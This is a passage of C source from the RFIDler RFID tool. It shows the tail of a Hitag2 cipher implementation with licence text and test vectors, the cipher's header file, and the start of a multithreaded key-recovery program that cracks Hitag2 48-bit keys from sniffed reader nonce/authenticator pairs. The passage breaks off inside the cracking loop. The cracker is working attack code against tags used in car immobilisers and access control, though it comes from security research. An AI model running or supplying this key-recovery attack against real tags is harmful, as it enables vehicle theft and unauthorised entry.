* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include <GenericTypeDefs.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include <stdio.h>
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
// if (steps > 32)
// steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
/*
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
*/
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST

View file

@ -0,0 +1,171 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include <stdint.h>
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */

View file

@ -0,0 +1,466 @@
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
// max number of NrAr pairs to load - you only need 136 good pairs, but this
// is the max
#define NUM_NRAR 1024
#define NUM_THREADS 8
// table entry for Tkleft
struct Tklower {
uint64_t yxorb;
char notb32;
uint64_t klowery;
};
// table entry for nR aR pair
struct nRaR {
uint64_t nR;
uint64_t aR;
};
// struct to hold data for thread
struct threaddata {
uint64_t uid;
struct nRaR *TnRaR;
unsigned int numnrar;
uint64_t klowerstart;
uint64_t klowerrange;
};
void printbin(uint64_t val)
{
int i;
for (i=0; i<64; i++) {
if (val & 0x8000000000000000) {
printf("1");
} else {
printf("0");
}
val = val << 1;
}
}
void printstate(Hitag_State *hstate)
{
printf("shiftreg =\t");
printbin(hstate->shiftreg);
printf("\n");
}
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
// these and the following hitag2_crypt function taken from Rfidler
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
return (ht2_function5c >> bitindex) & 1;
}
// this function is a modification of the filter function f, based heavily
// on the hitag2_crypt function in Rfidler
int fnP(uint64_t klowery)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011
uint32_t i;
i = (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1;
i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02;
i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04;
i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08;
// modified to use reference implementation approach
// orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011
// we ignore the top bit (bit 4) of the parameter, so therefore create a new
// table that indicates which bit positions are the same if the top bit is 1 or 0
return (ht2_function4p >> i) & 1;
}
// comparison function for sorting/searching Tklower entries
int Tk_cmp(const void *v1, const void *v2)
{
const struct Tklower *Tk1 = (struct Tklower *)v1;
const struct Tklower *Tk2 = (struct Tklower *)v2;
if (Tk1->yxorb < Tk2->yxorb) {
return -1;
} else if (Tk1->yxorb > Tk2->yxorb) {
return 1;
}
return 0;
}
// test for bad guesses of kmiddle
int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) {
struct Tklower *result, target;
// "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0]
// then the attacker learns that kmiddle is a bad guess... otherwise, if
// !b32 == aR[0] then kmiddle is still a viable guess."
target.yxorb = z;
target.notb32 = 0;
result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp);
if (result) {
if (result->notb32 != aR0) {
return 1;
}
} else {
return 2;
}
return 0;
}
// function to test if a partial key is valid
int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR)
{
uint64_t kupper;
uint64_t key;
Hitag_State hstate;
uint64_t b;
uint32_t revaR;
uint32_t normaR;
// normalise aR
revaR = rev32(aR);
normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24));
// search for remaining 14 bits
for (kupper=0; kupper < 0x3fff; kupper++) {
key = (kupper << 34) | pkey;
hitag2_init(&hstate, key, uid, nR);
b = hitag2_nstep(&hstate, 32);
if ((normaR ^ b) == 0xffffffff) {
*out = key;
return 1;
}
}
return 0;
}
// some notes on how I think this attack should work.
// due to the way fc works, in a number of cases, it doesn't matter what
// the most significant bits are doing for it to produce the same result.
// These are the most sig 14 bits to be clear. Looking at fc it is poss
// to see cases where the most sig bit of the input to fc (which is made
// from fa on 4 of the most sig bits from bit 34 onwards) does not affect
// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value
// as input 0b1ABCD.
// The PRNG is initialised by setting the lower 32 bits to the UID, with
// the upper 16 bits set to the lower 16 bits of the key. Next the 32
// upper bits of the key are XORed with the private nonce and these are
// shifted in, with the PRNG outputting bits b0 to b31. These bits are
// used to encrypt (XOR with) the nonce to produce nR, which is sent to
// the card.
// (The card should init the PRNG with the same UID and lower 16 bits of
// the key, receive the nR, then shift it in bit by bit while xoring each
// bit with its output, and the key - this essentially decrypts the nR to
// the nonce XOR the upper 32 bits of the key, while shifting it in.
// The card's PRNG will then be in the same state as the RWD.)
// By knowing the UID and guessing the lower 16 bits of the key, and
// focusing on nR values that don't affect the upper bits of fc, we can
// limit our guesses to a smaller set than a full brute force and
// effectively work out candidates for the lower 34 bits of the key.
void *crack(void *d)
{
struct threaddata *data = (struct threaddata *)d;
uint64_t uid;
struct nRaR *TnRaR;
unsigned int numnrar;
Hitag_State hstate;
int i, j;
uint64_t klower;
uint64_t kmiddle;
uint64_t y;
uint64_t ytmp;
uint64_t klowery;
unsigned int count = 0;
uint64_t bit;
uint64_t b;
uint64_t z;
uint64_t foundkey;
uint64_t revkey;
int ret;
unsigned int found = 0;
unsigned int badguess = 0;
struct Tklower *Tk = NULL;
if (!data) {
printf("Thread data is NULL\n");
exit(1);
}
uid = data->uid;
TnRaR = data->TnRaR;
numnrar = data->numnrar;
// create space for tables
Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000);
if (!Tk) {
printf("cannot malloc Tk\n");
exit(1);
}
// find keys
for (klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) {
printf("trying klower = 0x%05lx\n", klower);
// build table
count = 0;
for (y=0; y<0x40000; y++) {
// create klowery
klowery = (y << 16) | klower;
// check for cases where right most bit of fc doesn't matter
if (fnP(klowery)) {
// store klowery
Tk[count].klowery = klowery;
// build the initial prng state
hstate.shiftreg = (klower << 32) | uid;
// zero the lfsr so only 0s are inserted
hstate.lfsr = 0;
// insert y into shiftreg and extract keystream, reversed order
b = 0;
ytmp = y;
for (j=0; j<2; j++) {
hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48);
for (i=0; i<16; i++) {
hstate.shiftreg = hstate.shiftreg >> 1;
bit = hitag2_crypt(hstate.shiftreg);
b = (b >> 1) | (bit << 31);
}
ytmp = ytmp >> 16;
}
// store the xor of y and b0-17
Tk[count].yxorb = y ^ (b & 0x3ffff);
// get and store inverse of next bit from prng
// don't need to worry about shifting in the new bit because
// it doesn't affect the filter function anyway
hstate.shiftreg = hstate.shiftreg >> 1;
Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1;
// increase count
count++;
}
}
qsort(Tk, count, sizeof(struct Tklower), Tk_cmp);
// look for matches
for (kmiddle=0; kmiddle<0x40000; kmiddle++) {
// loop over nRaR pairs
badguess = 0;
found = 0;
for (i=0; (i<numnrar) && (!badguess); i++) {
z = kmiddle ^ (TnRaR[i].nR & 0x3ffff);
ret = is_kmiddle_badguess(z, Tk, count, TnRaR[i].aR & 0x1);
